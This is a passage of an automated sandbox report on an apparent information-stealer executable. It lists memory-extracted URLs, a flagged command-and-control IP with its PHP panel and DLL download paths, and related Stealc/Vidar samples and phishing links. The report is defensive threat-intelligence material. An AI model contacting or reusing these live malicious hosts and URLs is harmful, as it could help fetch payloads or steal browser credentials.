http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.2214396357.00006F54010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215202098.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214596004.00006F54010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215162806.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214246135.00006F54010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215658771.00006F5401154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215381406.00006F5400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214433966.00006F540111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215121394.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215251683.00006F540102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214458822.00006F5400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/;X	chrome.exe, 00000003.00000003.2246452980.00006F5401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246064220.00006F5401434000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	false	high
http://185.219.81.132ata	2BI8rJKpBa.exe, 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmp	false	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	false	high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000003.00000003.2205714620.00006F54004B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.2205714620.00006F54004B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3078	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7553	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5375	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5371	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.219.81.132/55a20037509cc641/nss3.dlllL	2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000843000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.219.81.132/c3d039fb36c40339.phptop	2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000843000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://anglebug.com/4722	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7556	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chromewebstore.google.com/	msedge.exe, 00000007.00000002.2320550970.000024A40017C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-preprod.corp.google.com/	chrome.exe, 00000003.00000003.2205714620.00006F54004B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.219.81.132/55a20037509cc641/softokn3.dlllhC	2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2310358479.000024A400264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310423627.000024A400274000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6692	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/258207403	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3502	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3623	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3625	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3624	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/J	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/5007	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3862	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.2211968604.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2212668386.00006F5400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209958916.00006F5400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2216576597.00006F5400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2211991087.00006F5400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2211235696.00006F5400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2211610191.00006F5400328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2240525448.00006F5400D34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2213898243.00006F5400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210548226.00006F5400F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2211131265.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2216256414.00006F5400328000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209887214.00006F5400478000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4836	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/:	chrome.exe, 00000003.00000003.2206992786.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://msn.com/	msedge.exe, 00000007.00000002.2321268333.000024A400394000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/4384	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://google-ohttp-relay-join.fastly-edge.com/4X	chrome.exe, 00000003.00000003.2246452980.00006F5401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246064220.00006F5401434000.00000004.00000800.00020000.00000000.sdmp	false	high
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000003.00000003.2249882459.00006F5401B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2258914827.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259482857.00006F5401C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249645535.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3970	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://policies.google.com/	chrome.exe, 00000003.00000003.2213353907.00006F5400EF0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	chrome.exe, 00000003.00000003.2235655371.00006F5400294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250364202.00006F5401C24000.00000004.00000800.00020000.00000000.sdmp, chromecache_96.5.dr	false	high
https://google-ohttp-relay-join.fastly-edge.com/$Y	chrome.exe, 00000003.00000003.2246452980.00006F5401438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246064220.00006F5401434000.00000004.00000800.00020000.00000000.sdmp	false	high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.2214396357.00006F54010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215202098.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214596004.00006F54010E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215162806.00006F54006B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214246135.00006F54010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215658771.00006F5401154000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215381406.00006F5400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214433966.00006F540111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215121394.00006F5400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215251683.00006F540102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2214458822.00006F5400FD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	false	high
https://labs.google.com/search?source=ntp	chrome.exe, 00000003.00000003.2249882459.00006F5401B70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2258914827.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259482857.00006F5401C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249645535.00006F5401BA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.219.81.132/55a20037509cc641/msvcp140.dllfiIZ	2BI8rJKpBa.exe, 00000000.00000002.2668293403.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000003.2201979235.000073AC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245402819.000073AC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2202148746.000073AC0039C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7604	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7761	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000003.00000003.2259398727.00006F5401BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250364202.00006F5401C24000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7760	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2BI8rJKpBa.exe, 00000000.00000003.2295673770.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, KEGDBFIJ.0.dr	false	high
http://anglebug.com/5901	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3965	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/6439	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/7406	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/search	chrome.exe, 00000003.00000003.2243883095.00006F5401318000.00000004.00000800.00020000.00000000.sdmp	false	high
https://anglebug.com/7161	chrome.exe, 00000003.00000003.2210057513.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2209263959.00006F540036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2210092807.00006F5400C24000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2311448943.000024A400354000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2310932623.000024A400368000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive-autopush.corp.google.com/	chrome.exe, 00000003.00000003.2205714620.00006F54004B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/search?q=$	chrome.exe, 00000003.00000003.2215729175.00006F5400B24000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.219.81.132	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.46	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579146
Start date and time:	2024-12-20 22:51:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2BI8rJKpBa.exe renamed because original name is a hash value
Original Sample Name:	ea2c30769d298e35ba11cd5c5ed2b04f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@30/57@4/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 124 Number of non-executed functions: 59
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.78, 64.233.162.84, 172.217.17.46, 172.217.17.67, 172.217.21.42, 172.217.17.74, 172.217.19.234, 172.217.19.170, 142.250.181.106, 142.250.181.138, 142.250.181.10, 172.217.17.42, 142.250.181.74, 216.58.208.234, 172.217.19.202, 172.217.19.10, 142.250.181.42, 192.229.221.95, 142.250.181.142, 199.232.210.172, 20.42.65.92, 13.107.246.63, 184.28.90.27, 4.245.163.56, 40.126.53.7, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 2BI8rJKpBa.exe

Simulations

Behavior and APIs

Time	Type	Description
16:52:51	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html	Get hash	malicious	Unknown	Browse
	https://logistics.sheincorp.cn/#/login	Get hash	malicious	Unknown	Browse
	http://aselog24x7.cl/	Get hash	malicious	HTMLPhisher	Browse
	https://p.usertrackjvg.top/us	Get hash	malicious	HTMLPhisher	Browse
	https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse
	https://contractorssteelform1flows.powerappsportals.com/	Get hash	malicious	HTMLPhisher	Browse
	https://google.com.mx//url?ob=pglnk4shsljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/Kcxz0m1anE-SUREDANN-Y3NoYW5ub25Ac2tvcmJ1cmdjb21wYW55LmNvbQ==	Get hash	malicious	Fake Captcha, HTMLPhisher	Browse
	NetFxRepairTools.msi	Get hash	malicious	Quasar	Browse
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
185.219.81.132	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.132/1089481c07d09d21.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.132
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.135
	ZXVcgrmGRM.exe	Get hash	malicious	Stealc, Vidar	Browse	185.219.81.135
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse	92.119.114.51
	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.201.185
	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse	45.137.64.40
	Content Collaboration Terms.dll.exe	Get hash	malicious	LummaC Stealer	Browse	185.209.21.227
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	185.231.71.206
	x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.86.109.115
	OBS-Studio-30.2.3-Windows-Installer.exe	Get hash	malicious	Unknown	Browse	95.215.204.231

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	20.198.119.84
	dF66DKQP7u.exe	Get hash	malicious	XWorm	Browse	20.198.119.84
